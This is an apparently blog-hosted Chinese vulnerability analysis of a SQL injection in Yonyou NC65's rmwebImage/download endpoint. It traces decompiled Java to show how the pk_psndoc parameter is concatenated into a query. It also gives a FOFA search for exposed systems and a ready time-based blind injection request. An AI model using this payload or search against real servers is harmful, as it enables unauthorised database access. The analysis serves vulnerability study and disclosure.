用友NC rmwebImage/download sql注入漏洞


漏洞简介

用友NC系统可利用/portal/pt/rmwebImage/download接口中的 pk_psndoc 参数实现sql注入,从而窃取服务器的敏感信息。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

本来是根据官方漏洞通告可知SQL注入点在 rmwebImage 接口

因此搜索 rmwebImage 方法的实现部分即可定位文件

modules/hrss/lib/pubhrss_pub/nc/bs/hrss/pub/action/RMWebImageAction.Java

package nc.bs.hrss.pub.action;

import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Image;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.ServletOutputStream;
import javax.swing.ImageIcon;
import nc.bs.framework.common.RuntimeEnv;
import nc.bs.hrss.pub.ServiceLocator;
import nc.bs.hrss.pub.exception.HrssException;
import nc.bs.hrss.pub.tool.SessionUtil;
import nc.bs.logging.Logger;
import nc.itf.hi.IPsndocQryService;
import nc.itf.rm.IRMPsndocQueryService;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.vo.bd.pub.SexEnum;
import nc.vo.hi.psndoc.PsndocAggVO;
import nc.vo.hr.tools.formconfig.CodeGenUtils;
import nc.vo.pub.BusinessException;
import nc.vo.rm.psndoc.AggRMPsndocVO;
import nc.vo.rm.psndoc.RMPsndocVO;
import org.apache.commons.io.IOUtils;
import uap.lfw.core.ml.LfwResBundle;

@Servlet(path="/rmwebImage")
public class RMWebImageAction
extends BaseAction {
    /*
     * WARNING - Removed try catching itself - possible behaviour change.
     */
    @Action
    public void download() {
        ServletOutputStream out = null;
        try {
            byte[] pngBytes = null;
            byte[] pngBytesNew = null;
            Object photo = null;
            FileInputStream fileInput = null;
            this.request.setCharacterEncoding("UTF-8");
            String pk_psndoc = this.request.getParameter("pk_psndoc");
            try {
                IRMPsndocQueryService psndocQryServ = ServiceLocator.lookup(IRMPsndocQueryService.class);
                AggRMPsndocVO aggRMPsndocVO = psndocQryServ.queryByPK(pk_psndoc);
                Object object = photo = aggRMPsndocVO == null ? null : ((RMPsndocVO)aggRMPsndocVO.getParentVO()).getPhoto();
                if (photo == null) {
                    String photoFileName = "photo_defult_male.png";
                    if (SessionUtil.getSessionBean() != null || aggRMPsndocVO != null) {
                        IPsndocQryService psndocQry;
                        PsndocAggVO psndocAggVO;
                        if (null != aggRMPsndocVO && null != aggRMPsndocVO.getParentVO() && null != aggRMPsndocVO.getPsndocVO().getSex() && SexEnum.SEX_FEMAIL.toIntValue() == aggRMPsndocVO.getPsndocVO().getSex().intValue()) {
                            photoFileName = "photo_defult_female.png";
                        }
                        if (aggRMPsndocVO == null && null != (psndocAggVO = (psndocQry = ServiceLocator.lookup(IPsndocQryService.class)).queryPsndocVOByPk(SessionUtil.getPk_psndoc(), false, true)) && null != psndocAggVO.getParentVO() && null != psndocAggVO.getParentVO().getSex() && SexEnum.SEX_FEMAIL.toIntValue() == psndocAggVO.getParentVO().getSex().intValue()) {
                            photoFileName = "photo_defult_female.png";
                        }
                    }
                    String strSrcDir = CodeGenUtils.buildFileURL((String)RuntimeEnv.getInstance().getNCHome(), (String[])new String[]{"hotwebs", "lfw", "frame", "device_pc", "themes", LfwRuntimeEnvironment.getThemeId(), "ext", "hrss", "pub", photoFileName});
                    File file = new File(strSrcDir);
                    fileInput = new FileInputStream(file);
                    pngBytes = new byte[fileInput.available()];
                    fileInput.read(pngBytes);
                } else {
                    pngBytes = (byte[])photo;
                }
                pngBytesNew = RMWebImageAction.transPreviewPhoto(pngBytes, 150, 118);
                this.response.setContentType("image/png");
                out = this.response.getOutputStream();
                out.write(pngBytesNew);
                out.flush();
            }
            catch (HrssException ex) {
                Logger.error((Object)ex.getMessage(), (Throwable)ex);
            }
            catch (BusinessException e) {
                new HrssException(e).alert();
            }
            finally {
                if (fileInput != null) {
                    fileInput.close();
                }
            }
        }
        catch (Exception e) {
            throw new LfwRuntimeException(LfwResBundle.getInstance().getStrByID("c_pub-res", "0c_pub-res0051"), (Throwable)e);
        }
        finally {
            IOUtils.closeQuietly(out);
        }
    }

pk_psndoc 参数直接代入 queryAggRMPsndocVO 函数,其实现逻辑如下

private AggregatedValueObject queryAggRMPsndocVO(String pk_psndoc) {
    try {
        IRMPsndocQueryService psndocQryServ = (IRMPsndocQueryService)ServiceLocator.lookup(IRMPsndocQueryService.class);
        AggRMPsndocVO aggRMPsndocVO = psndocQryServ.queryByPK(pk_psndoc);
        return aggRMPsndocVO;
    } catch (BusinessException e) {
        (new HrssException(e)).deal();
    } catch (HrssException e) {
        (new HrssException(e)).alert();
    }

    return null;
}

继续代入psndocQryServ.queryByPK 函数,其实现逻辑如下

public AggRMPsndocVO queryByPK(String pk_psndoc) throws BusinessException {
    return (AggRMPsndocVO)this.getServiceTemplate().queryByPk(AggRMPsndocVO.class, pk_psndoc);
}

继续跟踪 getServiceTemplate().queryByPk 函数,这里注意 传入的第三个参数为 false

public <T> T queryByPk(Class<T> clazz, String pk) throws BusinessException {
    return (T)this.queryByPk(clazz, pk, false);
}
public <T> T queryByPk(Class<T> clazz, String pk, boolean lazyLoad2) throws BusinessException {
    try {
        return (T)getMDQueryService().queryBillOfVOByPK(clazz, pk, lazyLoad2);
    } catch (MetaDataException e) {
        Logger.error(e.getMessage(), e);
        throw new BusinessException(ResHelper.getString("6001frame", "06001frame0153"), e);
    }
}

继续跟踪 getMDQueryService().queryBillOfVOByPK 函数

public <T> T queryBillOfVOByPK(Class<T> voClass, String billPK, boolean bLazyLoad) throws MetaDataException {
    return (T)(new MDBaseDAO()).queryBillOfVOByPK(voClass, billPK, bLazyLoad);
}

pk_psndoc ==>pk ==>billPK 又代入 (new MDBaseDAO()).queryBillOfVOByPK 函数

public Object queryBillOfVOByPK(Class voClass, String billPK, boolean bLazyLoad) throws MetaDataException {
    NCObject ncObj = (new VOQueryPersister(voClass.getName())).queryBillImp(billPK, bLazyLoad);
    if (ncObj == null) {
        return null;
    } else {
        return AggregatedValueObject.class.isAssignableFrom(voClass) ? ncObj.getContainmentObject() : ncObj.getModelConsistObject();
    }
}

billPK 继续代入 queryBillImp 函数

protected NCObject queryBillImp(String billPK, boolean bLazyLoad) throws MetaDataException {
    NCObject resNCObj = null;

    try {
        Object resVO = this.dao.retrieveByPK(billPK, this.ignoreDrEqual1);
        if (resVO == null) {
            return null;
        } else {
            resNCObj = NCObject.newInstance(this.relatedEntity, resVO);
            if (!bLazyLoad) {
                this.queryChildrenVOSByParentObjs(new NCObject[]{resNCObj}, bLazyLoad, (Map)null, (String)null);
            }

            return resNCObj;
        }
    } catch (Exception e) {
        Logger.error("fail to query data", e);
        throw new MetaDataException("operation failed** baseDao.retrieveByPK," + e.getMessage());
    }
}

继续跟踪 retrieveByPK 函数

public Object retrieveByPK(String pkValue, boolean ignoreDrEqual1) throws MetaDataException {
    if (this.metaCollection != null && this.metaCollection.size() != 0) {
        String whereConStr = "";
        whereConStr = (String)this.tableAliasMap.get(this.bean.getTable().getName()) + "." + this.bean.getTable().getPrimaryKeyName() + "='" + pkValue + "'";
        if (ignoreDrEqual1) {
            whereConStr = whereConStr + " and isnull(" + this.bean.getTable().getName() + ".dr,0)=0 ";
        }

        List<E> beanList = this.retrieveByClouse(whereConStr, (String[])null, false);
        return beanList != null && beanList.size() > 0 ? beanList.get(0) : null;
    } else {
        return null;
    }
}

public List<E> retrieveByClouse(String whereCondStr, String[] filtAttrNames, boolean ignoreDrEqual1) throws MetaDataException {
    String resultSql = this.generateSql(whereCondStr, filtAttrNames, (String)null, (String)null, ignoreDrEqual1);
    List<E> beanList = null;

    try {
        beanList = (List)(new BaseDAO()).executeQuery(resultSql, new BeanListFromColumnLableProcessor(Class.forName(this.bean.getFullClassName()), this.bean));
        return beanList;
    } catch (Exception e) {
        throw new MetaDataException(NCLangResOnserver.getInstance().getStrByID("mdbusi", "mdMultiTableDAO-0001") + resultSql + "####type:" + this.bean.getName() + "#$#$#" + e.getMessage(), e);
    }
}

至此,最终 pk_psndoc 参数拼接进SQL语句里,ignoreDrEqual1 在前面已经定义传入的为 false ,而 generateSql 函数的作用是组装SQL语句

最终调用 (new BaseDAO()).executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。

漏洞复现

可先通过如下请求来确定目标是否存在此接口及其响应,如果存在此模块,则会响应一个图片内容

GET /portal/pt/rmwebImage/download?pageId=login&pk_psndoc=1 HTTP/1.1
Host: nc65.mrxn.net

漏洞利用示例

GET /portal/pt/rmwebImage/download?pageId=login&pk_psndoc=1'+and+1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)-- HTTP/1.1
HTTP/1.1
Host: nc65.mrxn.net

成功延时 5 秒

参考

  • https://security.yonyou.com/#/noticeInfo?id=676

手机扫码阅读

用友U8 Cloud MARosterPhotoServlet SQL注入漏洞

安美数字酒店宽带运营系统 get_user_enrollment.php SQL注入漏洞

评 论